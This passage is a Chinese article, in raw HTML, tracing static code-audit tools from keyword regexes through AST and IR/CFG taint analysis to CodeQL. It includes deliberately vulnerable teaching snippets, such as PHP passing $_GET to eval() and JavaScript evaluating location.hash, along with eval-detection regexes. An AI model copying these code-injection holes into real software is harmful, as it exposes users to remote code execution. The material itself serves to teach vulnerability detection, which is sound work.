0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="font-size: 16px;letter-spacing: 1.5px;color: #fff;line-height: 37px;"><strong>二</strong></section></section><section style="width: auto;height: 37px;background-color: rgb(255, 255, 255);border-width: 0px;border-style: solid solid solid none;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="letter-spacing: 1.5px;color: #1f497d;line-height: 37px;"><strong>静态代码分析工具</strong></section></section></section></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">静态代码分析主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">在过去的十几年里，静态代码分析工具经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后）：</span></p></section><section data-role="title" data-tools="135编辑器" data-id="124010"><section style="margin: 10px auto;"><section style="font-size: 26px;color: #974806;margin-bottom: -10px;"><strong>01</strong></section><section style="display: flex;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p style="color: rgb(36, 64, 97);background-color: rgb(255, 255, 255);padding-right: 10px;font-size: 16px;letter-spacing: 1.5px;"><span style="font-size:17px;"><strong>上古时期 - 关键字匹配</strong></span></p></section><section style="height: 10px;width: 100%;border-top: 1px solid rgb(54, 96, 146);border-right: 1px solid rgb(54, 96, 146);border-bottom: 1px solid rgb(54, 96, 146);border-left: none;margin-top: -7px;flex-shrink: 0;overflow: hidden;" data-width="100%"><br/></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">如果我问你“如果让你设计一个自动化代码审计工具，你会怎么设计？”，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">这里我们拿PHP做个简单的例子。</span></p><p><span style="font-size:15px;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000579" data-ratio="0.5046296296296297" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ae826836&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7m2nw2HgXackdgHj3PvnhpHlWl5Z6QZQNLfibU4K6DCgfdetwzTr4BEA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p><span style="font-size: 15px;letter-spacing: 0.034em;">虽然我们匹配到了这个简单的漏洞，但是很快发现，事情并没有那么简单。</span><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000578" data-ratio="0.44722222222222224" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d9bdec43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7vhv1EIz3aZB0Tibd2fWU2HVwE1OxGwMq4wxAlp0TkAuvEcNptuk5LPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p><span style="font-size: 15px;letter-spacing: 0.034em;">也许你说你可以通过简单的关键字重新匹配到这个问题。</span><br/></p></section><section data-role="paragraph"><section data-language="plain" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">\beval\(\$</span></code></pre></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：</span></p><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li><p><span style="font-size:15px;"><strong>高覆盖性 – 宁错杀不放过</strong></span></p></li></ul><p><br/></p><p><span style="font-size:15px;">这类工具最经典的就是Seay，通过简单的关键字来匹配尽可能多的目标，之后使用者可以通过人工审计的方式进一步确认。</span></p></section><section data-role="paragraph"><section data-language="plain" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">\beval\b\(</span></code></pre></section></section></section><section data-role="paragraph"><ul data-pm-slice="3 1 []" class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li><p><span style="font-size:15px;"><strong>可用性 – 宁放过不错杀</strong></span></p></li></ul><p><span style="font-size:15px;">这类工具最经典的是Rips免费版</span></p></section><section data-role="paragraph"><section data-language="plain" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">\beval\b\(\<span class="code-snippet__variable">$_</span>(GET|POST)</span></code></pre></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">但问题显而易见，高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。</span></p></section><section data-role="title" data-tools="135编辑器" data-id="124010"><section style="margin: 10px auto;"><section style="font-size: 26px;color: #974806;margin-bottom: -10px;"><strong>02</strong></section><section style="display: flex;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p style="color: rgb(36, 64, 97);background-color: rgb(255, 255, 255);padding-right: 10px;font-size: 16px;letter-spacing: 1.5px;"><span style="font-size:17px;"><strong>近代时期 - 基于AST的代码分析</strong></span></p></section><section style="height: 10px;width: 100%;border-top: 1px solid rgb(54, 96, 146);border-right: 1px solid rgb(54, 96, 146);border-bottom: 1px solid rgb(54, 96, 146);border-left: none;margin-top: -7px;flex-shrink: 0;overflow: hidden;" data-width="100%"><br/></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么基于AST的代码分析方式就诞生了，开发人员是不同的，但编译器是相同的。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">在分享这种原理之前，我们首先可以复习一下编译原理。拿PHP代码举例子：</span></p><p><span style="font-size:15px;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000577" data-ratio="0.47314814814814815" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c93fd40f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh71SwE2iaCIiaQx6lUdoUgbchH8lS8h96x3cn5svWicSB8ZEJfgvUp1jjLg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;">随着PHP7的诞生，AST也作为PHP解释执行的中间层出现在了编译过程的一环。</span><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000576" data-ratio="0.29814814814814816" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c438649f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7pK5cicr1f0fwiaf3sVqTPEmdKTYQ9CrrosabVr1r7HmsTkxGpicrLicTZg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p><span style="font-size: 15px;letter-spacing: 0.034em;">通过词法分析和语法分析，我们可以将任意一份代码转化为AST语法树。</span><span style="font-size: 15px;letter-spacing: 0.034em;">PHP常见的语义分析库可以参考：</span><br/></p></section><section data-role="paragraph"><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://github.com/nikic/PHP-Parser" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href=""><a href="https://github.com/nikic/PHP-Parser" target="_blank">https://github.com/nikic/PHP-Parser</a></a></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a class="weapp_text_link js_weapp_entry" style="font-size:15px;" data-miniprogram-appid="wxe81de4a47ea1ab33" data-miniprogram-path="go?to=https://github.com/viraptor/phply" data-miniprogram-applink="" data-miniprogram-nickname="小外链" href="" data-miniprogram-type="text" data-miniprogram-servicetype="" href=""><a href="https://github.com/viraptor/phply" target="_blank">https://github.com/viraptor/phply</a></a></span></p></li></ul><p><br/></p><p><span style="font-size:15px;">当我们得到了一份AST语法树之后，我们就解决了前面提到的关键字匹配最大的问题，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。</span></p><p><br/></p><p><span style="font-size:15px;">在理解如何分析AST语法树之前，我们首先要明白<strong>infomation flow、source、sink</strong>三个概念：</span></p><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li><p><span style="font-size:15px;"><strong>source：</strong> 我们可以简单的称之为输入，也就是infomation flow的起点</span></p></li><li><p><span style="font-size:15px;"><strong>sink：</strong> 我们可以称之为输出，也就是infomation flow的终点</span></p></li><li><p><span style="font-size:15px;"><strong>infomation flow</strong>，则是指数据流动的过程。</span></p></li></ul><p><br/></p><p><span style="font-size:15px;">把这个概念放在PHP代码审计过程中，Source就是指用户可控的输入，比如$_GET、$_POST等，而Sink就是指我们要找到的敏感函数，比如echo、eval，如果某一个Source到Sink存在一个完整的流，那么我们就可以认为存在一个可控的漏洞，这也就是基于infomation flow的代码审计原理。</span></p><p><br/></p><p><span style="font-size:15px;">在明白了基础原理的基础上，我举几个简单的例子：</span></p></section><section data-role="paragraph"><section data-language="javascript" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer">$a = $_GET[‘a’];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">eval</span>($a);</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">这段代码对应的AST为：</span><br/></p></section><section data-role="paragraph"><section data-language="javascript" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">Assignment(Variable(<span class="code-snippet__string">&#39;$a&#39;</span>),ArrayOffset(Variable(<span class="code-snippet__string">&#39;$_GET&#39;</span>), <span class="code-snippet__string">&#39;a&#39;</span>), <span class="code-snippet__keyword">False</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">Eval</span>(Variable(<span class="code-snippet__string">&#39;$a&#39;</span>))</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">1、Eval函数</span></p><p><span style="font-size:15px;">2、参数Variable(‘$a’)</span></p><p><span style="font-size:15px;">3、Assignment函数</span></p><p><span style="font-size:15px;">4、ArrayOffset</span></p><p><span style="font-size:15px;">5、判断左值是不是Variable(‘$_GET’)</span></p><p><span style="font-size:15px;">6、漏洞存在</span></p><p><br/></p><p><span style="font-size:15px;">在上面的分析过程中，Sink就是eval函数，Source就</span><span style="font-size:15px;">是</span><span style="font-size:15px;"><code style="font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0.2em 0.4em;color: rgb(199, 37, 78);border-radius: 6px;letter-spacing: normal;text-align: start;text-wrap: wrap;">$_GET</code></span><span style="font-size:15px;">，通过回溯Sink的来源，我们成功找到了一条流向Source的infomation flow，也就成功发现了这个漏洞。</span></p><p><br/></p><p><span style="font-size:15px;">在分析infomation flow的过程中，明确作用域是基础中的基础. 这也是分析infomation flow的关键，我们可以一起看看一段简单的代码：</span></p></section><section data-role="paragraph"><section data-language="javascript" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">Function</span> <span class="code-snippet__title">get</span><span class="code-snippet__params">($p)</span></span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">echo</span> $p;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> “<span class="code-snippet__keyword">echo</span> <span class="code-snippet__number">2333</span>”;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">$a = get($_GET[‘a’]);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">eval</span>($a);</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">如果我们很简单的跟踪赋值关系去回溯，而没有考虑到函数定义的话，我们很容易将流定义为：</span><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000575" data-ratio="0.35251798561151076" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="556" src="https://wechat2rss.xlab.app/img-proxy/?k=c64f47fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7IEBDEuCiaUyfzbvH4ZwSHX0DcLUtWCibkibHIgINNrHDbK8H3E2sdlAUA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;">这样我们就错误的把这段代码定义成了存在漏洞，但很显然并不是，而正确的分析流程应该是这样的：</span><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000580" data-ratio="0.4121510673234811" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="609" src="https://wechat2rss.xlab.app/img-proxy/?k=318a0ef4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7vJwDF5eQ8XrKlibAGpNUPkJY8FfcOFpbvrlJMHREv0HPZ2f8lib2fe0g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p><p><span style="font-size: 15px;letter-spacing: 0.034em;">在这段代码中，从主语法树的作用域跟到Get函数的作用域，如何控制这个作用域的变动，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的使用递归来控制作用域时，在多层递归中的统一标准也就成了分析的基础核心问题。</span><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">事实上，即便你做好了这个最简单的基础核心问题，你也会遇到层出不穷的问题。这里我举两个简单的例子：</span></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;"><strong>(1) 新函数封装</strong></span></p></section><section data-role="paragraph"><section data-language="javascript" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer">$a = $_GET[<span class="code-snippet__string">&#39;a&#39;</span>]</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">ee</span><span class="code-snippet__params">($p)</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">eval</span>($p)</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">ee($a)</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">这是一段很经典的代码，敏感函数被封装成了新的敏感函数，参数是被二次传递的。</span><span style="font-size: 15px;letter-spacing: 0.034em;">为了解决，这样infomation flow的方向从逆向-&gt;正向的问题。</span><br/></p></section><section data-role="paragraph"><p><span style="font-size:15px;">1、找到eval函数    </span></p><p><span style="font-size:15px;">2、获取当前语句所在作用域</span></p><p><span style="font-size:15px;">3、当前作用域为ee函数，并存在参数传递</span></p><p><span style="font-size:15px;">4、ee被标记为新的敏感函数</span></p><p><br/></p><p><span style="font-size:15px;"><strong>(2) 多重调用链</strong></span></p></section><section data-role="paragraph"><section data-language="javascript" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">var</span> obj = {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">url</span>: location.hash.split(<span class="code-snippet__string">&#39;#&#39;</span>)[<span class="code-snippet__number">1</span>],</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">fruit</span>: <span class="code-snippet__literal">null</span></span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">function</span> <span class="code-snippet__title">loc</span>(<span class="code-snippet__params"></span>) </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.url;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">obj.fruit = loc;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">eval</span>(obj.fruit());</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">这是一段有漏洞的JS代码，人工的话很容易看出来问题。</span><span style="font-size: 15px;letter-spacing: 0.034em;">但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。</span><br/></p><p><span style="font-size: 15px;letter-spacing: 0.034em;"><br/></span></p></section><section data-role="paragraph"><p><img class="rich_pages wxw-img" data-imgfileid="100000581" data-ratio="0.45714285714285713" style="vertical-align: inherit;width: 100%;" data-type="png" data-w="490" src="https://wechat2rss.xlab.app/img-proxy/?k=d70b9837&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7P6tLjm7iaxYIeMmg9tCsU1iaQ8Jjq47Cs0S1yqCuo8enkkfyjEKxkQdQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></section><section data-role="paragraph"><p><br/></p></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">如果说，前面的两个问题是可以被解决的话，还有很多问题是没办法被解决的，这里举一个简单的例子。</span></p></section><section data-role="paragraph"><section data-language="javascript" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer">$_GET[<span class="code-snippet__string">&#39;a&#39;</span>] = htmlspecialchars($_GET[<span class="code-snippet__string">&#39;a&#39;</span>]);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">echo</span> $_GET[<span class="code-snippet__string">&#39;a&#39;</span>];</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="letter-spacing: 0.034em;font-size: 15px;">这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当回溯到</span><span style="letter-spacing: 0.034em;font-size: 15px;">Source</span><span style="letter-spacing: 0.034em;font-size: 15px;">为</span><span style="letter-spacing: 0.034em;font-size: 15px;"><code style="font-family: ui-monospace, SFMono-Regular, &#34;SF Mono&#34;, Menlo, Consolas, &#34;Liberation Mono&#34;, monospace;font-size: 13.6px;padding: 0.2em 0.4em;color: rgb(199, 37, 78);border-radius: 6px;letter-spacing: normal;text-align: start;">$_GET[&#39;a&#39;]</code></span><span style="letter-spacing: 0.034em;font-size: 15px;">时</span><span style="letter-spacing: 0.034em;font-size: 15px;">，已经满足了从Source到sink的infomation flow，已经被识别为漏洞。一个典型的误报就出现了。</span></p><p><span style="letter-spacing: 0.034em;font-size: 15px;"><br/></span></p></section><section data-role="paragraph"><p><span style="font-size:15px;">而基于AST的自动化代码审计工具也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景。</span></p></section><section data-role="title" data-tools="135编辑器" data-id="124010"><section style="margin: 10px auto;"><section style="font-size: 26px;color: #974806;margin-bottom: -10px;"><strong>03</strong></section><section style="display: flex;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p style="color: rgb(36, 64, 97);background-color: rgb(255, 255, 255);padding-right: 10px;font-size: 16px;letter-spacing: 1.5px;"><span style="font-size:17px;"><strong>基于IR/CFG的代码分析</strong></span></p></section><section style="height: 10px;width: 100%;border-top: 1px solid rgb(54, 96, 146);border-right: 1px solid rgb(54, 96, 146);border-bottom: 1px solid rgb(54, 96, 146);border-left: none;margin-top: -7px;flex-shrink: 0;overflow: hidden;" data-width="100%"><br/></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">如果深度了解过基于AST的代码分析原理的话，不难发现许多弊端。首先AST是编译原理中IR/CFG的更上层，其AST中保存的内容更接近源代码。</span></p><p data-pm-slice="1 1 []"><span style="font-size:15px;"><br/></span></p><p><span style="font-size:15px;">也就是说，分析AST更接近分析代码，换句话就是说基于AST的分析得到的流，更接近脑子里对代码执行里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是基于AST的代码分析的普遍解决方案，当然，从结果论上很难辨别忽略带来的后果。而基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。</span></p><p><br/></p><p><span style="font-size:15px;">首先我们得知道什么是IR/CFG：</span></p><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li><p><span style="font-size:15px;"><strong>IR：是一种</strong>类似于汇编语言的线性代码，其中各个指令按照顺序执行。其中现在主流的IR是三地址码（四元组）</span></p></li><li><p><span style="font-size:15px;"><strong>CFG: （Control flow graph）控制流图</strong>，在程序中最简单的控制流单位是一个基本块，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。</span></p><p><br/></p></li></ul><p><span style="font-size:15px;">一般来说，我们需要遍历IR来生成CFG，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。</span></p><p><br/></p><p><span style="font-size:15px;">而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份控制流图（或者说是执行顺序），然后才到漏洞挖掘这一步。比起基于AST的代码分析来说，你只需要专注于从Source到Sink的过程即可。</span></p><p><br/></p><p><span style="font-size:15px;">但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实正向的污点分析，亦或者后来被人提到比较多的指针分析，核心思路大同小异。</span></p><p><br/></p><p><span style="font-size:15px;">而代码分析的基础方面，既然存在基于AST的代码分析，又存在基于CFG的代码分析，自然也存在其他的种类。比如现在市场上主流的fortify，Checkmarx，Coverity</span><span style="font-size:15px;">包括最新的Rips</span><span style="font-size:15px;">都使用了自己构造的语言的某一个中间部分，比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析，又比如源伞</span><span style="font-size:15px;">实现</span><span style="font-size: 15px;letter-spacing: 0.034em;">了多种语言生成统一的IR，Joern使用了基于AST生成的CPG图结构进行分析。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要构建一个什么样的代码分析工具。</span></p></section><section data-role="title" data-tools="135编辑器" data-id="124010"><section style="margin: 10px auto;"><section style="font-size: 26px;color: #974806;margin-bottom: -10px;"><strong>04</strong></section><section style="display: flex;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p style="color: rgb(36, 64, 97);background-color: rgb(255, 255, 255);padding-right: 10px;font-size: 16px;letter-spacing: 1.5px;"><span style="font-size:17px;"><strong>未来 - 通用化代码框架</strong></span></p></section><section style="height: 10px;width: 100%;border-top: 1px solid rgb(54, 96, 146);border-right: 1px solid rgb(54, 96, 146);border-bottom: 1px solid rgb(54, 96, 146);border-left: none;margin-top: -7px;flex-shrink: 0;overflow: hidden;" data-width="100%"><br/></section></section></section><section data-role="paragraph"><h3 data-pm-slice="1 1 []" style="font-size:17px;"><strong><span style="font-size: 15px;">基于QL概念的框架 - CodeQL</span></strong></h3></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">而在代码分析领域，Semmle QL是最早诞生的QL语言，他最早被应用于LGTM，并被用于Github内置的安全扫描为大众免费提供。紧接着，CodeQL也被开发出来，作为稳定的代码分析框架在github社区化。</span></p><ul class="list-paddingleft-1" style="padding-left: 30px;list-style-position: outside;"><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://securitylab.github.com/tools/codeql" target="_blank">https://securitylab.github.com/tools/codeql</a></span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;"><a href="https://semmle.com/codeql" target="_blank">https://semmle.com/codeql</a></span></p></li></ul><p><br/></p><p><span style="font-size:15px;">那么什么是QL呢？QL又和代码分析有什么关系呢？</span></p><p><br/></p><p><span style="font-size:15px;">首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是数据流分析（Data Flow）。</span></p><p><br/></p><p><span style="font-size:15px;">而QL就是把这个流的每一个环节具象化，把每个节点的操作具象成状态的变化，并且储存到数据库中。</span></p><p><br/></p><p><span style="font-size:15px;">这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。下面我举一个简单的例子来说：</span></p></section><section data-role="paragraph"><section data-language="plain" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer">$a = $_GET[<span class="code-snippet__string">&#39;a&#39;</span>];</span></code><code><span class="code-snippet_outer">$b = htmlspecialchars($a);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">echo</span> $b;</span></code></pre></section><pre></pre></section></section><section data-role="paragraph"><p><span style="font-size: 15px;letter-spacing: 0.034em;">我们简单的把前面的流写成一个表达式</span><br/></p></section><section data-role="paragraph"><section data-language="plain" data-pm-slice="1 1 []"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span 